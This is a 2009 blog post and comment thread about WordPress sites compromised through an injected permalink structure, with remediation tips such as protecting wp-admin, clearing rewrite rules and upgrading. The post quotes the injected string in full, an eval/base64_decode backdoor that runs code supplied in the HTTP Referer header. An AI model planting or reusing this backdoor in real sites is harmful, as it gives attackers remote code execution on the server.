Home > Security > Urgent Security Warning for WordPress

Urgent Security Warning for WordPress

September 5, 2009 Posted by KP

I just found that my two wordpress blogs were hacked, the permanent link structure was changed to:

/%year%/%monthnum%/%day%/%postname%/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/

This caused the individual posts couldn’t be accessed.

I don’t know how this was hacked, and what other damages were caused. For now, a urgent solution would be protecting wp-admin directory.

I have seen some other hacked blogs, I strongly suggest you take actions immediately. The above might not be a good solution, but should be helpful.

Bookmark and Share


Related Posts:

Filed Under: Security

9 Comments to “Urgent Security Warning for WordPress”

  1. Luke Rumley Says:

    One of my WP blogs was hacked as well, and I am wondering about the _transient_rewrite_rules row in the wp_options table. This post says to empty it: http://blog.4rev.net/2009-09/wordpress-hacked-eval-base64_decode-_serverhttp_referer/

    I did that with no immediately apparent negative effects on the blog, but I don’t really know what all the gibberish was doing. I checked a couple other blogs and the string is different in different blogs.

    It looks like legitimate code to me, but I can’t tell.

  2. KP Says:

    Luke: I only changed the permanent link structure back with admin control panel, I didn’t modify the database directly, now the hacked blogs seem to work fine.

  3. Luke Rumley Says:

    Is this related to the <=2.8.3 admin password reset bug? Is there something I need to do to protect my WP installs?

  4. KP Says:

    It doesn’t seem to be the same problem, probably this is a new exploit which hasn’t been addressed. I protected wp-admin directory for all my WP blogs.

  5. Luke Rumley Says:

    Cool - will look into your post on that.

  6. Luke Rumley Says:

    More good info coming out on this hack: http://blog.nachotech.com/?p=125

    I also tried renaming xmlrpc.php and wp-register.php, which are in the WP root. Lots of chaos out there…seems to be all older versions than 2.8.4 so far. That means I am not 100% safe yet…

  7. KP Says:

    Thanks for the link, Luke, it has lots of good info. I only protected the admin directory, which seems not enough at all.

    Upgrading to the latest version is always a good habit.

    Protecting the admin directory is very important, it can prevent most exploits, even after the site was hacked and back door was left but without accessing those files under wp-admin, not much things can be done.

  8. Luke Rumley Says:

    Had a site that was hacked with the wp-cache plugin installed, and fixing it took a lot longer. Had to clear some data out of the permalinks option AND out of the rewrite_rules field, and had to disable all plugins to get anything to display at all!

    WP-Cache seems to have been to blame, but it was strange that nothing would display (blank white page) for both the site and the /wp-admin/ directory.

  9. KP Says:

    Sorry, missed your comment. When you get blank pages, check Apache error log file, usually it will tell you what’s wrong.

Leave a Comment









*
To prove you're a person (not a spam script), type the security word shown in the picture. Click on the picture to hear an audio file of the word.
Click to hear an audio file of the anti-spam word




Categories

Archives

Links

  • Dedicated Servers
  • Meta